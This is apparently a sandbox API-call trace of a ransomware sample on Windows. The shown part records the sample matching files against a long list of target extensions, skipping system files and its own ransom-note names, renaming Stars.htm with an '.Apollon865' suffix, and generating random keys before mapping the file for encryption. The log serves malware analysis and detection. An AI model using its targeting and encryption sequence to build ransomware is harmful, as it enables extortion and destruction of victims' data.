	[0059.244] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0059.244] lstrlenW (lpString="ask") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0059.244] lstrlenW (lpString="btr") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0059.244] lstrlenW (lpString="cat") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0059.244] lstrlenW (lpString="cdb") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0059.244] lstrlenW (lpString="ckp") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0059.244] lstrlenW (lpString="cma") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0059.244] lstrlenW (lpString="cpd") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0059.244] lstrlenW (lpString="dacpac") returned 6
	[0059.244] lstrcmpiW (lpString1="rs.htm", lpString2="dacpac") returned 1
	[0059.244] lstrlenW (lpString="dad") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0059.244] lstrlenW (lpString="dadiagrams") returned 10
	[0059.244] lstrlenW (lpString="daschema") returned 8
	[0059.245] lstrcmpiW (lpString1="tars.htm", lpString2="daschema") returned 1
	[0059.245] lstrlenW (lpString="db-journal") returned 10
	[0059.245] lstrlenW (lpString="db-shm") returned 6
	[0059.245] lstrcmpiW (lpString1="rs.htm", lpString2="db-shm") returned 1
	[0059.245] lstrlenW (lpString="db-wal") returned 6
	[0059.245] lstrcmpiW (lpString1="rs.htm", lpString2="db-wal") returned 1
	[0059.245] lstrlenW (lpString="dbc") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0059.245] lstrlenW (lpString="dbs") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0059.245] lstrlenW (lpString="dbt") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0059.245] lstrlenW (lpString="dbv") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0059.245] lstrlenW (lpString="dbx") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0059.245] lstrlenW (lpString="dcb") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0059.245] lstrlenW (lpString="dct") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0059.245] lstrlenW (lpString="dcx") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0059.245] lstrlenW (lpString="ddl") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0059.245] lstrlenW (lpString="dlis") returned 4
	[0059.245] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0059.245] lstrlenW (lpString="dp1") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0059.245] lstrlenW (lpString="dqy") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0059.245] lstrlenW (lpString="dsk") returned 3
	[0059.245] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0059.245] lstrlenW (lpString="dsn") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0059.246] lstrlenW (lpString="dtsx") returned 4
	[0059.246] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0059.246] lstrlenW (lpString="dxl") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0059.246] lstrlenW (lpString="eco") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0059.246] lstrlenW (lpString="ecx") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0059.246] lstrlenW (lpString="edb") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0059.246] lstrlenW (lpString="epim") returned 4
	[0059.246] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0059.246] lstrlenW (lpString="fcd") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0059.246] lstrlenW (lpString="fdb") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0059.246] lstrlenW (lpString="fic") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0059.246] lstrlenW (lpString="flexolibrary") returned 12
	[0059.246] lstrlenW (lpString="fm5") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0059.246] lstrlenW (lpString="fmp") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0059.246] lstrlenW (lpString="fmp12") returned 5
	[0059.246] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0059.246] lstrlenW (lpString="fmpsl") returned 5
	[0059.246] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0059.246] lstrlenW (lpString="fol") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0059.246] lstrlenW (lpString="fp3") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0059.246] lstrlenW (lpString="fp4") returned 3
	[0059.246] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0059.246] lstrlenW (lpString="fp5") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0059.247] lstrlenW (lpString="fp7") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0059.247] lstrlenW (lpString="fpt") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0059.247] lstrlenW (lpString="frm") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0059.247] lstrlenW (lpString="gdb") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.247] lstrlenW (lpString="gdb") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.247] lstrlenW (lpString="grdb") returned 4
	[0059.247] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0059.247] lstrlenW (lpString="gwi") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0059.247] lstrlenW (lpString="hdb") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0059.247] lstrlenW (lpString="his") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0059.247] lstrlenW (lpString="ib") returned 2
	[0059.247] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0059.247] lstrlenW (lpString="idb") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0059.247] lstrlenW (lpString="ihx") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0059.247] lstrlenW (lpString="itdb") returned 4
	[0059.247] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0059.247] lstrlenW (lpString="itw") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0059.247] lstrlenW (lpString="jet") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0059.247] lstrlenW (lpString="jtx") returned 3
	[0059.247] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0059.247] lstrlenW (lpString="kdb") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0059.248] lstrlenW (lpString="kexi") returned 4
	[0059.248] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0059.248] lstrlenW (lpString="kexic") returned 5
	[0059.248] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0059.248] lstrlenW (lpString="kexis") returned 5
	[0059.248] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0059.248] lstrlenW (lpString="lgc") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0059.248] lstrlenW (lpString="lwx") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0059.248] lstrlenW (lpString="maf") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0059.248] lstrlenW (lpString="maq") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0059.248] lstrlenW (lpString="mar") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0059.248] lstrlenW (lpString="marshal") returned 7
	[0059.248] lstrcmpiW (lpString1="ars.htm", lpString2="marshal") returned -1
	[0059.248] lstrlenW (lpString="mas") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0059.248] lstrlenW (lpString="mav") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0059.248] lstrlenW (lpString="maw") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0059.248] lstrlenW (lpString="mdbhtml") returned 7
	[0059.248] lstrcmpiW (lpString1="ars.htm", lpString2="mdbhtml") returned -1
	[0059.248] lstrlenW (lpString="mdn") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0059.248] lstrlenW (lpString="mdt") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0059.248] lstrlenW (lpString="mfd") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0059.248] lstrlenW (lpString="mpd") returned 3
	[0059.248] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0059.249] lstrlenW (lpString="mrg") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0059.249] lstrlenW (lpString="mud") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0059.249] lstrlenW (lpString="mwb") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0059.249] lstrlenW (lpString="myd") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0059.249] lstrlenW (lpString="ndf") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0059.249] lstrlenW (lpString="nnt") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0059.249] lstrlenW (lpString="nrmlib") returned 6
	[0059.249] lstrcmpiW (lpString1="rs.htm", lpString2="nrmlib") returned 1
	[0059.249] lstrlenW (lpString="ns2") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0059.249] lstrlenW (lpString="ns3") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0059.249] lstrlenW (lpString="ns4") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0059.249] lstrlenW (lpString="nsf") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0059.249] lstrlenW (lpString="nv") returned 2
	[0059.249] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0059.249] lstrlenW (lpString="nv2") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0059.249] lstrlenW (lpString="nwdb") returned 4
	[0059.249] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0059.249] lstrlenW (lpString="nyf") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0059.249] lstrlenW (lpString="odb") returned 3
	[0059.249] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.249] lstrlenW (lpString="odb") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.250] lstrlenW (lpString="oqy") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0059.250] lstrlenW (lpString="ora") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0059.250] lstrlenW (lpString="orx") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0059.250] lstrlenW (lpString="owc") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0059.250] lstrlenW (lpString="p96") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0059.250] lstrlenW (lpString="p97") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0059.250] lstrlenW (lpString="pan") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0059.250] lstrlenW (lpString="pdb") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0059.250] lstrlenW (lpString="pdm") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0059.250] lstrlenW (lpString="pnz") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0059.250] lstrlenW (lpString="qry") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0059.250] lstrlenW (lpString="qvd") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0059.250] lstrlenW (lpString="rbf") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0059.250] lstrlenW (lpString="rctd") returned 4
	[0059.250] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0059.250] lstrlenW (lpString="rod") returned 3
	[0059.250] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0059.250] lstrlenW (lpString="rodx") returned 4
	[0059.250] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0059.250] lstrlenW (lpString="rpd") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0059.251] lstrlenW (lpString="rsd") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0059.251] lstrlenW (lpString="sas7bdat") returned 8
	[0059.251] lstrcmpiW (lpString1="tars.htm", lpString2="sas7bdat") returned 1
	[0059.251] lstrlenW (lpString="sbf") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0059.251] lstrlenW (lpString="scx") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0059.251] lstrlenW (lpString="sdb") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0059.251] lstrlenW (lpString="sdc") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.251] lstrlenW (lpString="sdf") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.251] lstrlenW (lpString="sis") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.251] lstrlenW (lpString="spq") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.251] lstrlenW (lpString="te") returned 2
	[0059.251] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.251] lstrlenW (lpString="teacher") returned 7
	[0059.251] lstrcmpiW (lpString1="ars.htm", lpString2="teacher") returned -1
	[0059.251] lstrlenW (lpString="tmd") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.251] lstrlenW (lpString="tps") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.251] lstrlenW (lpString="trc") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.251] lstrlenW (lpString="trc") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.251] lstrlenW (lpString="trm") returned 3
	[0059.251] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.251] lstrlenW (lpString="udb") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.252] lstrlenW (lpString="udl") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.252] lstrlenW (lpString="usr") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.252] lstrlenW (lpString="v12") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.252] lstrlenW (lpString="vis") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.252] lstrlenW (lpString="vpd") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.252] lstrlenW (lpString="vvv") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.252] lstrlenW (lpString="wdb") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.252] lstrlenW (lpString="wmdb") returned 4
	[0059.252] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.252] lstrlenW (lpString="wrk") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.252] lstrlenW (lpString="xdb") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.252] lstrlenW (lpString="xld") returned 3
	[0059.252] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.252] lstrlenW (lpString="xmlff") returned 5
	[0059.252] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0059.252] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.Apollon865") returned 85
	[0059.252] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.253] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.253] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=230) returned 1
	[0059.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.254] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.254] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.254] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.254] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x14c
	[0059.257] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0059.257] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.258] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.258] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.259] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.259] CloseHandle (hObject=0x14c) returned 1
	[0059.259] CloseHandle (hObject=0x150) returned 1
	[0059.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.259] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2=".") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="..") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="windows") returned -1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootmgr") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="temp") returned -1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="pagefile.sys") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="boot") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="ids.txt") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="ntuser.dat") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="perflogs") returned 1
	[0059.259] lstrcmpiW (lpString1="Stars.jpg", lpString2="MSBuild") returned 1
	[0059.259] lstrlenW (lpString="Stars.jpg") returned 9
	[0059.259] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned 74
	[0059.260] lstrcpyW (in: lpString1=0x119e68a, lpString2="Stars.jpg" | out: lpString1="Stars.jpg") returned="Stars.jpg"
	[0059.260] lstrlenW (lpString="Stars.jpg") returned 9
	[0059.260] lstrlenW (lpString="Apollon865") returned 10
	[0059.260] lstrlenW (lpString=".dll") returned 4
	[0059.260] lstrcmpiW (lpString1="Stars.jpg", lpString2=".dll") returned 1
	[0059.260] lstrlenW (lpString=".lnk") returned 4
	[0059.260] lstrcmpiW (lpString1="Stars.jpg", lpString2=".lnk") returned 1
	[0059.260] lstrlenW (lpString=".ini") returned 4
	[0059.260] lstrcmpiW (lpString1="Stars.jpg", lpString2=".ini") returned 1
	[0059.260] lstrlenW (lpString=".sys") returned 4
	[0059.260] lstrcmpiW (lpString1="Stars.jpg", lpString2=".sys") returned 1
	[0059.260] lstrlenW (lpString="Stars.jpg") returned 9
	[0059.260] lstrlenW (lpString="bak") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.260] lstrlenW (lpString="ba_") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.260] lstrlenW (lpString="dbb") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.260] lstrlenW (lpString="vmdk") returned 4
	[0059.260] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.260] lstrlenW (lpString="rar") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.260] lstrlenW (lpString="zip") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.260] lstrlenW (lpString="tgz") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.260] lstrlenW (lpString="vbox") returned 4
	[0059.260] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.260] lstrlenW (lpString="vdi") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.260] lstrlenW (lpString="vhd") returned 3
	[0059.260] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.260] lstrlenW (lpString="vhdx") returned 4
	[0059.260] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.261] lstrlenW (lpString="avhd") returned 4
	[0059.261] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.261] lstrlenW (lpString="db") returned 2
	[0059.261] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.261] lstrlenW (lpString="db2") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.261] lstrlenW (lpString="db3") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.261] lstrlenW (lpString="dbf") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.261] lstrlenW (lpString="mdf") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.261] lstrlenW (lpString="mdb") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.261] lstrlenW (lpString="sql") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.261] lstrlenW (lpString="sqlite") returned 6
	[0059.261] lstrcmpiW (lpString1="rs.jpg", lpString2="sqlite") returned -1
	[0059.261] lstrlenW (lpString="sqlite3") returned 7
	[0059.261] lstrcmpiW (lpString1="ars.jpg", lpString2="sqlite3") returned -1
	[0059.261] lstrlenW (lpString="sqlitedb") returned 8
	[0059.261] lstrcmpiW (lpString1="tars.jpg", lpString2="sqlitedb") returned 1
	[0059.261] lstrlenW (lpString="xml") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.261] lstrlenW (lpString="$er") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.261] lstrlenW (lpString="4dd") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.261] lstrlenW (lpString="4dl") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.261] lstrlenW (lpString="^^^") returned 3
	[0059.261] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.261] lstrlenW (lpString="abs") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.262] lstrlenW (lpString="abx") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.262] lstrlenW (lpString="accdb") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
